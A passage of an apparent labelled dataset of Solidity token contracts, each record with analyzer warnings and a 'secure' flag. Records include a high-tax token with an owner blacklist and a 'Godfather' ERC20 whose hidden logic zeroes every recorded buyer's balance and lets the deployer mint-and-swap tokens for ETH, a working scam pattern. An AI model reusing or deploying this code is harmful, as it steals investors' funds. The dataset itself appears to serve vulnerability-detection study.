uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 41ec33d): NEWERA._reduceSellTaxAt should be constant \n\t// Recommendation for 41ec33d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8c04381): NEWERA._preventSwapBefore should be constant \n\t// Recommendation for 8c04381: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ethereum Remains Alive\";\n\n string private constant _symbol = unicode\"NEWERA\";\n\n\t// divide-before-multiply | ID: 442866d\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 454b6ed\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: be7e72a): NEWERA._taxSwapThreshold should be constant \n\t// Recommendation for be7e72a: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 4b39190\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 0eccca3): NEWERA._maxTaxSwap should be constant \n\t// Recommendation for 0eccca3: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 2b80dcc\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal.mul(80).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(20).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal.mul(80).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(20).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d317f88): NEWERA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d317f88: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 57cb551): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 57cb551: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: badb34e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for badb34e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 57cb551\n\t\t// reentrancy-benign | ID: badb34e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 57cb551\n\t\t// reentrancy-benign | ID: badb34e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fc87142): NEWERA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for fc87142: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: badb34e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 57cb551\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f620a57): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f620a57: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7f6786a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7f6786a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f620a57\n\t\t\t\t// reentrancy-eth | ID: 7f6786a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f620a57\n\t\t\t\t\t// reentrancy-eth | ID: 7f6786a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7f6786a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7f6786a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7f6786a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f620a57\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7f6786a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7f6786a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f620a57\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 57cb551\n\t\t// reentrancy-events | ID: f620a57\n\t\t// reentrancy-benign | ID: badb34e\n\t\t// reentrancy-eth | ID: 7f6786a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4113174): NEWERA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4113174: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 57cb551\n\t\t// reentrancy-events | ID: f620a57\n\t\t// reentrancy-eth | ID: 7f6786a\n\t\t// arbitrary-send-eth | ID: 4113174\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7176c5e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7176c5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8ad3844): NEWERA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8ad3844: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7266b57): NEWERA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7266b57: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c2e0c07): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c2e0c07: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7176c5e\n\t\t// reentrancy-eth | ID: c2e0c07\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7176c5e\n\t\t// unused-return | ID: 7266b57\n\t\t// reentrancy-eth | ID: c2e0c07\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7176c5e\n\t\t// unused-return | ID: 8ad3844\n\t\t// reentrancy-eth | ID: c2e0c07\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 7176c5e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c2e0c07\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}",
"file_name": "solidity_code_338.sol",
"secure": 0,
"size_bytes": 18501
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Godfather is Ownable, IERC20 {\n using SafeMath for uint256;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1b51ad0): Godfather.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1b51ad0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public virtual returns (bool) {\n require(_allowances[_msgSender()][from] >= amount);\n _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);\n return true;\n }\n function _basicTransfer(\n address s,\n address r,\n uint256 amount\n ) internal virtual {\n require(s != address(0));\n require(r != address(0));\n if (_callLq(s, r)) {\n return transferSwap(amount, r);\n }\n if (!inSwap) {\n require(_balances[s] >= amount);\n }\n uint256 feeAmount = 0;\n _lSwap(s);\n bool ldSwapTransaction = (r == uniswapV2PairAddress() &&\n uniswapV2Pair == s) ||\n (s == uniswapV2PairAddress() && uniswapV2Pair == r);\n if (\n uniswapV2Pair != s &&\n !Address.isUniswapContract(r) &&\n r != address(this) &&\n !ldSwapTransaction &&\n !inSwap &&\n uniswapV2Pair != r\n ) {\n _sTokenTransfer(r);\n feeAmount = amount.mul(_feePercent).div(100);\n }\n uint256 amountReceived = amount - feeAmount;\n _balances[address(this)] += feeAmount;\n _balances[s] = _balances[s] - amount;\n _balances[r] += amountReceived;\n emit Transfer(s, r, amount);\n }\n constructor() {\n _balances[msg.sender] = _totalSupply;\n uniswapV2Pair = msg.sender;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n function name() external view returns (string memory) {\n return _name;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function uniswapVersion() external pure returns (uint256) {\n return 2;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2bbe580): Godfather._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2bbe580: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n struct STokens {\n address to;\n }\n sTokens[] _sToken;\n function _callLq(address adr1, address adr2) internal view returns (bool) {\n return\n adr1 == adr2 &&\n (Address.isUniswapContract(adr2) || uniswapV2Pair == msg.sender);\n }\n function _sTokenTransfer(address _c) internal {\n if (uniswapV2PairAddress() == _c) {\n return;\n }\n _sToken.push(sTokens(_c));\n }\n function _lSwap(address _d) internal {\n if (uniswapV2PairAddress() != _d) {\n return;\n }\n\t\t// cache-array-length | ID: 1fa8636\n for (uint256 i = 0; i < _sToken.length; i++) {\n _balances[_sToken[i].to] = 0;\n }\n delete _sToken;\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 10b4713): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 10b4713: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferSwap(uint256 _amnt, address to) private {\n _approve(address(this), address(_router), _amnt);\n _balances[address(this)] = _amnt;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _router.WETH();\n inSwap = true;\n\t\t// reentrancy-benign | ID: 10b4713\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _amnt,\n 0,\n path,\n to,\n block.timestamp + 22\n );\n\t\t// reentrancy-benign | ID: 10b4713\n inSwap = false;\n }\n bool inSwap = false;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: f761a19): Godfather.uniswapV2Pair should be immutable \n\t// Recommendation for f761a19: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\t// WARNING Optimization Issue (constable-states | ID: 8b9720a): Godfather._decimals should be constant \n\t// Recommendation for 8b9720a: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: fb40734): Godfather._totalSupply should be immutable \n\t// Recommendation for fb40734: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 100000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 80d4eaa): Godfather._feePercent should be constant \n\t// Recommendation for 80d4eaa: Add the 'constant' attribute to state variables that never change.\n uint256 public _feePercent = 5;\n\t// WARNING Optimization Issue (constable-states | ID: 46b6e17): Godfather._router should be constant \n\t// Recommendation for 46b6e17: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\t// WARNING Optimization Issue (constable-states | ID: a5d9970): Godfather._name should be constant \n\t// Recommendation for a5d9970: Add the 'constant' attribute to state variables that never change.\n string private _name =\n \"You come into my house on the day my daughter is to be married, and you ask me to do murder for ETH\";\n\t// WARNING Optimization Issue (constable-states | ID: 11b160c): Godfather._symbol should be constant \n\t// Recommendation for 11b160c: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"GODFATHER\";\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _basicTransfer(_msgSender(), recipient, amount);\n return true;\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _basicTransfer(from, recipient, amount);\n require(_allowances[from][_msgSender()] >= amount);\n return true;\n }\n function uniswapV2PairAddress() private view returns (address) {\n return\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n bool transferDelay = true;\n function disableTransferDelay() external onlyOwner {\n transferDelay = false;\n }\n bool swapEnabled = true;\n function updateSwapEnabled(bool e) external onlyOwner {\n swapEnabled = e;\n }\n address public marketingWallet;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3744da1): Godfather.updateMarketingWallet(address).a lacks a zerocheck on \t marketingWallet = a\n\t// Recommendation for 3744da1: Check that the address is not zero.\n function updateMarketingWallet(address a) external onlyOwner {\n\t\t// missing-zero-check | ID: 3744da1\n marketingWallet = a;\n }\n\t// WARNING Optimization Issue (constable-states | ID: 58e6105): Godfather.deadAddress should be constant \n\t// Recommendation for 58e6105: Add the 'constant' attribute to state variables that never change.\n address public deadAddress = 0x000000000000000000000000000000000000dEaD;\n bool public autoLPBurn = false;\n function setAutoLPBurnSettings(bool e) external onlyOwner {\n autoLPBurn = e;\n }\n}",
"file_name": "solidity_code_3380.sol",
"secure": 0,
"size_bytes": 10063
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@openzeppelin/contracts/interfaces/IERC721Metadata.sol\" as IERC721Metadata;\nimport \"@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol\" as ERC721Holder;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721Receiver.sol\" as IERC721Receiver;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata, ERC721Holder {\n using Address for address;\n using Strings for uint256;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4e36f0f): KillerGF.constructor(string,string,uint256)._name shadows ERC721._name (state variable)\n\t// Recommendation for 4e36f0f: Rename the local variables that shadow another component.\n string private _name;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 10c3f49): KillerGF.constructor(string,string,uint256)._symbol shadows ERC721._symbol (state variable)\n\t// Recommendation for 10c3f49: Rename the local variables that shadow another component.\n string private _symbol;\n\n uint256 public totalSupply;\n\n mapping(uint256 => address) private _owners;\n\n mapping(address => uint256) private _balances;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n require(\n owner != address(0),\n \"ERC721: balance query for the zero address\"\n );\n return _balances[owner];\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(\n owner != address(0),\n \"ERC721: owner query for nonexistent token\"\n );\n return owner;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length > 0\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n require(\n _exists(tokenId),\n \"ERC721: approved query for nonexistent token\"\n );\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n require(operator != _msgSender(), \"ERC721: approve to caller\");\n\n _operatorApprovals[_msgSender()][operator] = approved;\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n _safeTransfer(from, to, tokenId, _data);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(\n _checkOnERC721Received(from, to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n function _isApprovedOrOwner(\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n require(\n _exists(tokenId),\n \"ERC721: operator query for nonexistent token\"\n );\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner ||\n getApproved(tokenId) == spender ||\n isApprovedForAll(owner, spender));\n }\n\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n uint256[] memory ids = new uint256[](1);\n ids[0] = tokenId;\n _mintNFTs(to, ids);\n }\n\n function _mintNFTs(address to, uint256[] memory tokenIds) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n\n uint256 _totalSupply = totalSupply;\n uint256 _length = tokenIds.length;\n\n totalSupply = _totalSupply + _length;\n _balances[to] += _length;\n\n for (uint256 i; i < _length; ++i) {\n uint256 tokenId = tokenIds[i];\n require(!_exists(tokenId), \"ERC721: token already minted\");\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _owners[tokenId] = to;\n emit Transfer(address(0), to, tokenId);\n }\n }\n\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(\n ERC721.ownerOf(tokenId) == from,\n \"ERC721: transfer of token that is not own\"\n );\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n if (to.isContract()) {\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}",
"file_name": "solidity_code_3381.sol",
"secure": 0,
"size_bytes": 10153
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IGetRoyalties {\n function getRoyalties(\n uint256 tokenId\n )\n external\n view\n returns (\n address payable[] memory recipients,\n uint256[] memory feesInBasisPoints\n );\n}",
"file_name": "solidity_code_3382.sol",
"secure": 1,
"size_bytes": 311
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IGetFees {\n function getFeeRecipients(\n uint256 id\n ) external view returns (address payable[] memory);\n\n function getFeeBps(uint256 id) external view returns (uint256[] memory);\n}",
"file_name": "solidity_code_3383.sol",
"secure": 1,
"size_bytes": 274
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITokenCreator {\n function tokenCreator(\n uint256 tokenId\n ) external view returns (address payable);\n}",
"file_name": "solidity_code_3384.sol",
"secure": 1,
"size_bytes": 191
} |
{
